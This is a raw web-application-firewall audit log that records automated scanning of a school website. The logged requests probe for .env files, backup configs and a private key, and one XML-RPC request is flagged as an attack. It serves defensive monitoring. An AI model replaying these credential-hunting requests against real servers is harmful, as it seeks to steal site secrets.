X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=b12e8e8da4f5110c0c803803b18a1c0e1750033598; expires=Mon, 16 Jun 2025 01:26:38 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --a431ea30-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".json.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".json.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/config.json.bak"] [unique_id "aE9kvZPBc7qQRvHewCtzngAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750033597641853 698184 (- - -) Stopwatch2: 1750033597641853 698184; combined=1790, p1=354, p2=1336, p3=0, p4=0, p5=100, sr=105, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --a431ea30-Z-- --3aea6f0a-A-- [16/Jun/2025:05:56:40.330266 +0530] aE9kvw9THibLN0xLxETvzgAAAAk 185.177.72.210 51898 127.0.0.1 7081 --3aea6f0a-B-- GET /:8080/admin/.env.staging HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --3aea6f0a-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=67ad7a70a3bdfd08375fd05d9bc02b2c1750033600; expires=Mon, 16 Jun 2025 01:26:40 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --3aea6f0a-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8080/admin/.env.staging"] [unique_id "aE9kvw9THibLN0xLxETvzgAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750033599665417 664913 (- - -) Stopwatch2: 1750033599665417 664913; combined=1781, p1=366, p2=1324, p3=0, p4=0, p5=90, sr=87, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --3aea6f0a-Z-- --12a5f212-A-- [16/Jun/2025:05:56:44.783876 +0530] aE9kxA9THibLN0xLxETv0AAAAAk 185.177.72.210 52092 127.0.0.1 7081 --12a5f212-B-- GET /etcd-apiserver-client.key HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --12a5f212-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=0067a5b930ee842a9d64253395494ed11750033604; expires=Mon, 16 Jun 2025 01:26:44 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --12a5f212-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".key"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".key"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/etcd-apiserver-client.key"] [unique_id "aE9kxA9THibLN0xLxETv0AAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750033604093024 690915 (- - -) Stopwatch2: 1750033604093024 690915; combined=2461, p1=472, p2=1889, p3=0, p4=0, p5=99, sr=138, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --12a5f212-Z-- --c8421326-A-- [16/Jun/2025:05:56:57.357304 +0530] aE9k0NNEcm-DhAkC0ibb7AAAAAY 185.177.72.210 57542 127.0.0.1 7081 --c8421326-B-- GET /login/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --c8421326-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=cfa88e5860a67e384b17acf5326f5d391750033617; expires=Mon, 16 Jun 2025 01:26:57 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --c8421326-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/login/.env"] [unique_id "aE9k0NNEcm-DhAkC0ibb7AAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750033616663546 693827 (- - -) Stopwatch2: 1750033616663546 693827; combined=1868, p1=372, p2=1407, p3=0, p4=0, p5=88, sr=99, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c8421326-Z-- --53feb61c-A-- [16/Jun/2025:05:57:07.121984 +0530] aE9k2qpdvXW4_hknQUU06wAAAAo 185.177.72.210 42968 127.0.0.1 7081 --53feb61c-B-- GET /settings/.env.staging HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --53feb61c-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=af1f8ac97d12a0e08f9a724e60926bdb1750033626; expires=Mon, 16 Jun 2025 01:27:06 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --53feb61c-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/settings/.env.staging"] [unique_id "aE9k2qpdvXW4_hknQUU06wAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750033626304981 817089 (- - -) Stopwatch2: 1750033626304981 817089; combined=1693, p1=365, p2=1205, p3=0, p4=0, p5=122, sr=84, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --53feb61c-Z-- --c8b19549-A-- [16/Jun/2025:05:57:09.306586 +0530] aE9k3Pbo0R64L12N_alUZwAAAAQ 185.177.72.210 43072 127.0.0.1 7081 --c8b19549-B-- GET /:8008/sites/all/libraries/courrierchimp/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --c8b19549-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=c34f0ee5ef53dada5ef6a9ba513d0aa91750033629; expires=Mon, 16 Jun 2025 01:27:09 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --c8b19549-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8008/sites/all/libraries/courrierchimp/.env"] [unique_id "aE9k3Pbo0R64L12N_alUZwAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750033628589624 717034 (- - -) Stopwatch2: 1750033628589624 717034; combined=1965, p1=398, p2=1450, p3=0, p4=0, p5=117, sr=104, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c8b19549-Z-- --a9b17752-A-- [16/Jun/2025:05:57:15.993395 +0530] aE9k4w9THibLN0xLxETv3AAAAAk 128.199.112.101 60382 127.0.0.1 7081 --a9b17752-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 498 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --a9b17752-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --a9b17752-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9k4w9THibLN0xLxETv3AAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750033635050295 943156 (- - -) Stopwatch2: 1750033635050295 943156; combined=2401, p1=364, p2=1634, p3=45, p4=61, p5=182, sr=94, sw=115, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --a9b17752-Z-- --f077dd3f-A-- [16/Jun/2025:05:57:24.159412 +0530] aE9k6w9THibLN0xLxETv4AAAAAk 185.177.72.210 37428 127.0.0.1 7081 --f077dd3f-B-- GET /data/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --f077dd3f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=a3dc062a41fba06bc9cb1d432231ce5b1750033644; expires=Mon, 16 Jun 2025 01:27:24 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --f077dd3f-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/data/.env"] [unique_id "aE9k6w9THibLN0xLxETv4AAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750033643505661 653859 (- - -) Stopwatch2: 1750033643505661 653859; combined=2063, p1=372, p2=1591, p3=0, p4=0, p5=99, sr=87, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --f077dd3f-Z-- --ec63f260-A-- [16/Jun/2025:05:57:26.948841 +0530] aE9k7i2Tu2VxEl4lA7Dc-gAAAAw 185.177.72.210 37618 127.0.0.1 7081 --ec63f260-B-- GET /:8000/database/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --ec63f260-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=142d28c5b3fbd7728f41fdcebba803421750033646; expires=Mon, 16 Jun 2025 01:27:26 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --ec63f260-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8000/database/.env"] [unique_id "aE9k7i2Tu2VxEl4lA7Dc-gAAAAw"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750033646257096 691817 (- - -) Stopwatch2: 1750033646257096 691817; combined=1967, p1=415, p2=1464, p3=0, p4=0, p5=88, sr=112, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --ec63f260-Z-- --83d69261-A-- [16/Jun/2025:05:57:29.159961 +0530] aE9k8Pbo0R64L12N_alUcwAAAAQ 185.177.72.210 37808 127.0.0.1 7081 --83d69261-B-- GET /servlet/WebSphereSamples.Configuration.config HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --83d69261-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=d19fdd2a5c7a69d12d43d6f11dfce4061750033649; expires=Mon, 16 Jun 2025 01:27:29 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --83d69261-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".configuration.config"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".configuration.config"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/servlet/WebSphereSamples.Configuration.config"] [unique_id "aE9k8Pbo0R64L12N_alUcwAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750033648502800 657282 (- - -) Stopwatch2: 1750033648502800 657282; combined=2146, p1=349, p2=1692, p3=0, p4=0, p5=105, sr=93, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --83d69261-Z-- --43fd1b42-A-- [16/Jun/2025:05:57:43.308866 +0530] aE9k_pPBc7qQRvHewCtzvQAAAAA 185.177.72.210 35982 127.0.0.1 7081 --43fd1b42-B-- GET /demo-app/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --43fd1b42-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=5a619c95c73dc89ada704dc4da56d06d1750033663; expires=Mon, 16 Jun 2025 01:27:43 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --43fd1b42-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/demo-app/.env"] [unique_id "aE9k_pPBc7qQRvHewCtzvQAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750033662620906 688024 (- - -) Stopwatch2: 1750033662620906 688024; combined=2277, p1=517, p2=1651, p3=0, p4=0, p5=109, sr=144, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --43fd1b42-Z-- --aeb2ef41-A-- [16/Jun/2025:05:57:45.407137 +0530] aE9lAGYZLqtIztZ_Ow_pkAAAAAg 185.177.72.210 36120 127.0.0.1 7081 --aeb2ef41-B-- GET /.envs HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --aeb2ef41-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=3e027f60be15d4bb0c2b16d34d71b7cf1750033665; expires=Mon, 16 Jun 2025 01:27:45 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --aeb2ef41-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.envs"] [unique_id "aE9lAGYZLqtIztZ_Ow_pkAAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750033664740983 666227 (- - -) Stopwatch2: 1750033664740983 666227; combined=2263, p1=525, p2=1649, p3=0, p4=0, p5=88, sr=126, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --aeb2ef41-Z-- --afc4f65e-A-- [16/Jun/2025:05:58:02.011221 +0530] aE9lEZPBc7qQRvHewCtzywAAAAA 185.177.72.210 40424 127.0.0.1 7081 --afc4f65e-B-- GET /:8888/.env.prod HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --afc4f65e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=43a86a45731681d315339e690a1438f91750033681; expires=Mon, 16 Jun 2025 01:28:01 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --afc4f65e-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8888/.env.prod"] [unique_id "aE9lEZPBc7qQRvHewCtzywAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750033681231577 779721 (- - -) Stopwatch2: 1750033681231577 779721; combined=2265, p1=521, p2=1612, p3=0, p4=0, p5=131, sr=129, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --afc4f65e-Z-- --97c6a200-A-- [16/Jun/2025:05:58:08.733417 +0530] aE9lGGYZLqtIztZ_Ow_pngAAAAg 185.177.72.210 40716 127.0.0.1 7081 --97c6a200-B-- GET /app/.env.example HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --97c6a200-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=17f197280ebfc6031c994ef3954f8d9c1750033688; expires=Mon, 16 Jun 2025 01:28:08 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --97c6a200-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] 